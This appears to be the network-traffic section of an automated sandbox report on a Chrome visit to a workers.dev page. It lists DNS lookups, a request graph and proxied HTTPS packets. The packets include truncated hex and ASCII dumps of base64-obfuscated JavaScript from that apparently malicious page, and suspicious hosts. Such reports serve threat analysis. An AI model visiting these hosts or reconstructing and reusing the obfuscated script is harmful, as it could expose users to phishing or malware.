Apr 18, 2024 01:28:28.600327969 CEST	53	62458	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:28.600523949 CEST	53	51648	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:29.536161900 CEST	65180	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:29.536695957 CEST	55386	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:29.640320063 CEST	53	65180	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:29.641448975 CEST	53	61069	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:29.642282963 CEST	53	55386	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:29.863156080 CEST	57755	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:29.863306046 CEST	60323	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:30.079246044 CEST	53	61414	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:30.106625080 CEST	53	62089	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:30.119019985 CEST	54185	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:30.119131088 CEST	55123	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:30.223866940 CEST	53	54185	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:30.223912954 CEST	53	55123	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:30.692178965 CEST	64609	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:30.693237066 CEST	49613	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:30.797730923 CEST	53	64609	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:30.797977924 CEST	53	49613	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:33.851337910 CEST	58781	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:33.851655960 CEST	58152	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:33.852334023 CEST	57217	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:33.852596998 CEST	57081	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:33.956655979 CEST	53	58152	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:33.961124897 CEST	53	57081	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:33.982029915 CEST	53	57217	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:34.488157034 CEST	56639	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:34.488394976 CEST	53664	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:34.512424946 CEST	63786	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:34.512696981 CEST	61575	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:34.616560936 CEST	53	63786	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:34.619117975 CEST	53	61575	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:34.702658892 CEST	61125	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:34.702856064 CEST	54304	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:34.807329893 CEST	53	61125	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:34.807348967 CEST	53	54304	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:35.106548071 CEST	56388	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:35.106805086 CEST	51661	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:35.303582907 CEST	62041	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:35.303689003 CEST	53584	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:35.408520937 CEST	53	62041	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:35.408864021 CEST	53	53584	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:35.593164921 CEST	53	59911	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:54.784815073 CEST	53	55796	1.1.1.1	192.168.2.5
Apr 18, 2024 01:29:16.608095884 CEST	53	53685	1.1.1.1	192.168.2.5
Apr 18, 2024 01:29:17.710428953 CEST	53	53026	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 18, 2024 01:28:29.641588926 CEST	192.168.2.5	1.1.1.1	c20e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 18, 2024 01:28:18.644970894 CEST	192.168.2.5	1.1.1.1	0x4aa9	Standard query (0)	groun-93ed.ehajdranrsuw.workers.dev	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:18.645073891 CEST	192.168.2.5	1.1.1.1	0x5fe2	Standard query (0)	groun-93ed.ehajdranrsuw.workers.dev	65	IN (0x0001)	false
Apr 18, 2024 01:28:19.327625990 CEST	192.168.2.5	1.1.1.1	0x7ca7	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:19.327760935 CEST	192.168.2.5	1.1.1.1	0x858b	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 18, 2024 01:28:20.905035973 CEST	192.168.2.5	1.1.1.1	0xb449	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:20.905190945 CEST	192.168.2.5	1.1.1.1	0xeaf6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 18, 2024 01:28:28.138438940 CEST	192.168.2.5	1.1.1.1	0x6eec	Standard query (0)	images.sftcdn.net	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:28.138838053 CEST	192.168.2.5	1.1.1.1	0x11df	Standard query (0)	images.sftcdn.net	65	IN (0x0001)	false
Apr 18, 2024 01:28:28.495210886 CEST	192.168.2.5	1.1.1.1	0x1770	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:28.495527983 CEST	192.168.2.5	1.1.1.1	0x2042	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Apr 18, 2024 01:28:29.536161900 CEST	192.168.2.5	1.1.1.1	0xf105	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:29.536695957 CEST	192.168.2.5	1.1.1.1	0x3907	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Apr 18, 2024 01:28:29.863156080 CEST	192.168.2.5	1.1.1.1	0x665d	Standard query (0)	images.sftcdn.net	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:29.863306046 CEST	192.168.2.5	1.1.1.1	0x30d2	Standard query (0)	images.sftcdn.net	65	IN (0x0001)	false
Apr 18, 2024 01:28:30.119019985 CEST	192.168.2.5	1.1.1.1	0xb15a	Standard query (0)	media.istockphoto.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:30.119131088 CEST	192.168.2.5	1.1.1.1	0x3f13	Standard query (0)	media.istockphoto.com	65	IN (0x0001)	false
Apr 18, 2024 01:28:30.692178965 CEST	192.168.2.5	1.1.1.1	0xd47c	Standard query (0)	media.istockphoto.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:30.693237066 CEST	192.168.2.5	1.1.1.1	0xf1f7	Standard query (0)	media.istockphoto.com	65	IN (0x0001)	false
Apr 18, 2024 01:28:33.851337910 CEST	192.168.2.5	1.1.1.1	0x66df	Standard query (0)	kit.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:33.851655960 CEST	192.168.2.5	1.1.1.1	0xeec6	Standard query (0)	kit.fontawesome.com	65	IN (0x0001)	false
Apr 18, 2024 01:28:33.852334023 CEST	192.168.2.5	1.1.1.1	0x83d0	Standard query (0)	runn1rnl8xzmqeh0kvov.web.app	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:33.852596998 CEST	192.168.2.5	1.1.1.1	0xea4d	Standard query (0)	runn1rnl8xzmqeh0kvov.web.app	65	IN (0x0001)	false
Apr 18, 2024 01:28:34.488157034 CEST	192.168.2.5	1.1.1.1	0x8a5d	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:34.488394976 CEST	192.168.2.5	1.1.1.1	0x49f1	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 18, 2024 01:28:34.512424946 CEST	192.168.2.5	1.1.1.1	0x2e14	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:34.512696981 CEST	192.168.2.5	1.1.1.1	0x66ad	Standard query (0)	i.ibb.co	65	IN (0x0001)	false
Apr 18, 2024 01:28:34.702658892 CEST	192.168.2.5	1.1.1.1	0x64ea	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:34.702856064 CEST	192.168.2.5	1.1.1.1	0x72e5	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 18, 2024 01:28:35.106548071 CEST	192.168.2.5	1.1.1.1	0x1ba8	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:35.106805086 CEST	192.168.2.5	1.1.1.1	0xea86	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 18, 2024 01:28:35.303582907 CEST	192.168.2.5	1.1.1.1	0xe99f	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:35.303689003 CEST	192.168.2.5	1.1.1.1	0x2f83	Standard query (0)	i.ibb.co	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 18, 2024 01:28:18.756716013 CEST	1.1.1.1	192.168.2.5	0x5fe2	No error (0)	groun-93ed.ehajdranrsuw.workers.dev			65	IN (0x0001)	false
Apr 18, 2024 01:28:18.760310888 CEST	1.1.1.1	192.168.2.5	0x4aa9	No error (0)	groun-93ed.ehajdranrsuw.workers.dev		104.21.26.127	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:18.760310888 CEST	1.1.1.1	192.168.2.5	0x4aa9	No error (0)	groun-93ed.ehajdranrsuw.workers.dev		172.67.136.68	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:19.431829929 CEST	1.1.1.1	192.168.2.5	0x7ca7	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:19.431829929 CEST	1.1.1.1	192.168.2.5	0x7ca7	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:19.431829929 CEST	1.1.1.1	192.168.2.5	0x7ca7	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:19.431829929 CEST	1.1.1.1	192.168.2.5	0x7ca7	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:21.009762049 CEST	1.1.1.1	192.168.2.5	0xb449	No error (0)	www.google.com		142.251.15.99	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:21.009762049 CEST	1.1.1.1	192.168.2.5	0xb449	No error (0)	www.google.com		142.251.15.147	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:21.009762049 CEST	1.1.1.1	192.168.2.5	0xb449	No error (0)	www.google.com		142.251.15.106	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:21.009762049 CEST	1.1.1.1	192.168.2.5	0xb449	No error (0)	www.google.com		142.251.15.104	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:21.009762049 CEST	1.1.1.1	192.168.2.5	0xb449	No error (0)	www.google.com		142.251.15.103	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:21.009762049 CEST	1.1.1.1	192.168.2.5	0xb449	No error (0)	www.google.com		142.251.15.105	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:21.009820938 CEST	1.1.1.1	192.168.2.5	0xeaf6	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 18, 2024 01:28:28.244692087 CEST	1.1.1.1	192.168.2.5	0x11df	No error (0)	images.sftcdn.net	softonic.san.cloudinary.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:28.244692087 CEST	1.1.1.1	192.168.2.5	0x11df	No error (0)	softonic.san.cloudinary.com	s4-san.cloudinary.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:28.245915890 CEST	1.1.1.1	192.168.2.5	0x6eec	No error (0)	images.sftcdn.net	softonic.san.cloudinary.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:28.245915890 CEST	1.1.1.1	192.168.2.5	0x6eec	No error (0)	softonic.san.cloudinary.com	s4-san.cloudinary.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:28.599878073 CEST	1.1.1.1	192.168.2.5	0x2042	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Apr 18, 2024 01:28:28.600327969 CEST	1.1.1.1	192.168.2.5	0x1770	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:28.600327969 CEST	1.1.1.1	192.168.2.5	0x1770	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:29.640320063 CEST	1.1.1.1	192.168.2.5	0xf105	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:29.640320063 CEST	1.1.1.1	192.168.2.5	0xf105	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:29.642282963 CEST	1.1.1.1	192.168.2.5	0x3907	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Apr 18, 2024 01:28:29.969544888 CEST	1.1.1.1	192.168.2.5	0x30d2	No error (0)	images.sftcdn.net	softonic.san.cloudinary.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:29.969544888 CEST	1.1.1.1	192.168.2.5	0x30d2	No error (0)	softonic.san.cloudinary.com	s4-san.cloudinary.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:29.984097004 CEST	1.1.1.1	192.168.2.5	0x665d	No error (0)	images.sftcdn.net	softonic.san.cloudinary.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:29.984097004 CEST	1.1.1.1	192.168.2.5	0x665d	No error (0)	softonic.san.cloudinary.com	s4-san.cloudinary.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:30.223866940 CEST	1.1.1.1	192.168.2.5	0xb15a	No error (0)	media.istockphoto.com		18.165.116.61	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:30.223866940 CEST	1.1.1.1	192.168.2.5	0xb15a	No error (0)	media.istockphoto.com		18.165.116.109	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:30.223866940 CEST	1.1.1.1	192.168.2.5	0xb15a	No error (0)	media.istockphoto.com		18.165.116.17	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:30.223866940 CEST	1.1.1.1	192.168.2.5	0xb15a	No error (0)	media.istockphoto.com		18.165.116.39	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:30.797730923 CEST	1.1.1.1	192.168.2.5	0xd47c	No error (0)	media.istockphoto.com		18.165.116.61	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:30.797730923 CEST	1.1.1.1	192.168.2.5	0xd47c	No error (0)	media.istockphoto.com		18.165.116.17	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:30.797730923 CEST	1.1.1.1	192.168.2.5	0xd47c	No error (0)	media.istockphoto.com		18.165.116.109	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:30.797730923 CEST	1.1.1.1	192.168.2.5	0xd47c	No error (0)	media.istockphoto.com		18.165.116.39	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:33.737898111 CEST	1.1.1.1	192.168.2.5	0xd203	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:33.737898111 CEST	1.1.1.1	192.168.2.5	0xd203	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:33.955704927 CEST	1.1.1.1	192.168.2.5	0x66df	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:33.956655979 CEST	1.1.1.1	192.168.2.5	0xeec6	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:33.982029915 CEST	1.1.1.1	192.168.2.5	0x83d0	No error (0)	runn1rnl8xzmqeh0kvov.web.app		199.36.158.100	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:34.593668938 CEST	1.1.1.1	192.168.2.5	0x49f1	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:34.594024897 CEST	1.1.1.1	192.168.2.5	0x8a5d	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:34.616560936 CEST	1.1.1.1	192.168.2.5	0x2e14	No error (0)	i.ibb.co		169.197.85.95	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:34.807329893 CEST	1.1.1.1	192.168.2.5	0x64ea	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:34.807329893 CEST	1.1.1.1	192.168.2.5	0x64ea	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:34.807348967 CEST	1.1.1.1	192.168.2.5	0x72e5	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 18, 2024 01:28:35.212622881 CEST	1.1.1.1	192.168.2.5	0x1ba8	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:35.212795019 CEST	1.1.1.1	192.168.2.5	0xea86	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:35.408520937 CEST	1.1.1.1	192.168.2.5	0xe99f	No error (0)	i.ibb.co		169.197.85.95	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:28:47.032541990 CEST	1.1.1.1	192.168.2.5	0x243d	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:28:47.032541990 CEST	1.1.1.1	192.168.2.5	0x243d	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:29:10.013569117 CEST	1.1.1.1	192.168.2.5	0xbcf8	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:29:10.013569117 CEST	1.1.1.1	192.168.2.5	0xbcf8	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 18, 2024 01:29:29.370656013 CEST	1.1.1.1	192.168.2.5	0x809a	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 01:29:29.370656013 CEST	1.1.1.1	192.168.2.5	0x809a	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

groun-93ed.ehajdranrsuw.workers.dev

https:

code.jquery.com

www.bing.com

fs.microsoft.com

maxcdn.bootstrapcdn.com

media.istockphoto.com

runn1rnl8xzmqeh0kvov.web.app

i.ibb.co

cdnjs.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	104.21.26.127	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:19 UTC	678	OUT	GET / HTTP/1.1 Host: groun-93ed.ehajdranrsuw.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:19 UTC	576	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 23:28:19 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1855701 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QcyPSOT708XPfYuMB%2B4z3iQi25E%2BhOJRLjSVZ3cuYRDtJSQBAQYnl4Wfc0a%2Bxb73jXWhwRlUEVYHXP8QQ4AljPRBaeIRXsQ60nHyKdJlDOcDeUhPafohq8Zv18caFWrZ%2FeIBNTjqeZ2QgNl6GouUJc3Ip9DljA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876030d7dd9f676e-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 23:28:19 UTC	793	IN	Data Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e Data Ascii: <!DOCTYPE html><html><head> <title></title> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex, nofollow"> <meta name="viewport" conten
2024-04-17 23:28:19 UTC	1369	IN	Data Raw: 79 51 30 4c 43 41 6b 5a 6d 39 6e 4a 44 55 73 49 43 52 6d 62 32 63 6b 4e 69 77 67 4a 47 5a 76 5a 79 51 33 4c 43 41 6b 5a 6d 39 6e 4a 44 67 73 49 43 52 6d 62 32 63 6b 4f 53 77 67 4a 47 5a 76 5a 79 51 78 4d 43 77 67 4a 47 5a 76 5a 79 51 78 4d 53 77 67 4a 47 5a 76 5a 79 51 78 4d 69 77 67 4a 47 5a 76 5a 79 51 78 4d 79 77 67 4a 47 5a 76 5a 79 51 78 4e 43 77 67 4a 47 5a 76 5a 79 51 78 4e 53 77 67 4a 47 5a 76 5a 79 51 78 4e 69 77 67 4a 47 5a 76 5a 79 51 78 4e 79 77 67 4a 47 5a 76 5a 79 51 78 4f 43 77 67 4a 47 5a 76 5a 79 51 7a 4d 53 77 67 4a 47 5a 76 5a 79 51 79 4d 69 77 67 4a 47 5a 76 5a 79 51 79 4d 53 77 67 4a 47 5a 76 5a 79 51 79 4e 79 77 67 4a 47 5a 76 5a 79 51 79 4e 43 77 67 4a 47 5a 76 5a 79 51 79 4e 53 77 67 4a 47 5a 76 5a 79 51 79 4e 69 77 67 4a 47 5a 76 Data Ascii: yQ0LCAkZm9nJDUsICRmb2ckNiwgJGZvZyQ3LCAkZm9nJDgsICRmb2ckOSwgJGZvZyQxMCwgJGZvZyQxMSwgJGZvZyQxMiwgJGZvZyQxMywgJGZvZyQxNCwgJGZvZyQxNSwgJGZvZyQxNiwgJGZvZyQxNywgJGZvZyQxOCwgJGZvZyQzMSwgJGZvZyQyMiwgJGZvZyQyMSwgJGZvZyQyNywgJGZvZyQyNCwgJGZvZyQyNSwgJGZvZyQyNiwgJGZv
2024-04-17 23:28:19 UTC	1369	IN	Data Raw: 6c 39 4f 33 64 6f 61 57 78 6c 4b 47 4d 74 4c 53 6c 70 5a 69 68 72 57 32 4e 64 4b 58 41 39 63 46 73 6b 5a 6d 39 6e 4a 44 45 79 58 53 68 75 5a 58 63 67 55 6d 56 6e 52 58 68 77 4b 43 52 6d 62 32 63 6b 4f 43 74 6c 4b 47 4d 70 4b 79 52 6d 62 32 63 6b 4f 43 77 6b 5a 6d 39 6e 4a 44 63 70 4c 47 74 62 59 31 30 70 4f 33 4a 6c 64 48 56 79 62 69 42 77 66 53 67 6b 5a 6d 39 6e 4a 44 59 73 4a 47 5a 76 5a 79 51 31 4c 43 52 6d 62 32 63 6b 4e 43 77 6b 5a 6d 39 6e 4a 44 4a 62 4a 47 5a 76 5a 79 51 7a 58 53 67 6b 5a 6d 39 6e 4a 44 45 70 4c 43 52 6d 62 32 63 6b 4d 43 78 37 66 53 6b 70 44 51 70 39 4b 53 67 69 49 69 77 67 4d 7a 55 73 49 43 4a 6c 5a 47 39 44 63 6d 46 6f 51 32 31 76 63 6d 59 69 4c 43 41 79 4f 53 77 67 49 6d 64 75 61 58 4a 30 55 32 39 30 49 69 77 67 4d 7a 59 73 49 Data Ascii: l9O3doaWxlKGMtLSlpZihrW2NdKXA9cFskZm9nJDEyXShuZXcgUmVnRXhwKCRmb2ckOCtlKGMpKyRmb2ckOCwkZm9nJDcpLGtbY10pO3JldHVybiBwfSgkZm9nJDYsJGZvZyQ1LCRmb2ckNCwkZm9nJDJbJGZvZyQzXSgkZm9nJDEpLCRmb2ckMCx7fSkpDQp9KSgiIiwgMzUsICJlZG9DcmFoQ21vcmYiLCAyOSwgImduaXJ0U290IiwgMzYsI
2024-04-17 23:28:19 UTC	1369	IN	Data Raw: 31 54 44 59 6f 58 53 6c 6d 54 44 59 6f 59 31 73 7a 4f 57 74 63 58 48 68 4d 4e 6a 74 33 54 44 59 70 59 6a 30 39 50 57 51 6f 5a 6d 6b 37 64 55 77 32 4c 79 6b 70 52 55 77 32 4b 46 6c 4c 4e 69 68 4d 65 43 74 30 54 44 59 76 4b 53 6c 71 63 6d 51 6f 57 55 73 32 4b 45 78 34 4c 53 73 70 63 30 77 32 4c 79 6b 70 61 58 4a 6b 4b 46 6c 4c 4e 69 68 4d 65 43 67 71 63 6b 77 32 4c 79 6b 70 52 45 77 32 4b 46 6c 4c 4e 69 68 4d 65 43 73 70 63 55 77 32 4c 79 6b 70 61 30 77 32 4b 46 6c 4c 4e 69 68 4d 65 43 67 71 63 45 77 32 4c 79 6b 70 52 6b 77 32 4b 46 6c 4c 4e 69 68 4d 65 43 73 70 62 30 77 32 4c 79 6b 70 61 48 4a 6b 4b 46 6c 4c 4e 69 68 4d 65 43 30 6f 4b 6d 35 4d 4e 69 38 70 4b 55 64 4d 4e 69 68 5a 53 7a 59 6f 54 48 67 72 62 45 77 32 4c 79 6b 70 5a 33 4a 6b 4b 46 6c 4c 4e 69 Data Ascii: 1TDYoXSlmTDYoY1szOWtcXHhMNjt3TDYpYj09PWQoZmk7dUw2LykpRUw2KFlLNihMeCt0TDYvKSlqcmQoWUs2KEx4LSspc0w2LykpaXJkKFlLNihMeCgqckw2LykpREw2KFlLNihMeCspcUw2Lykpa0w2KFlLNihMeCgqcEw2LykpRkw2KFlLNihMeCspb0w2LykpaHJkKFlLNihMeC0oKm5MNi8pKUdMNihZSzYoTHgrbEw2LykpZ3JkKFlLNi
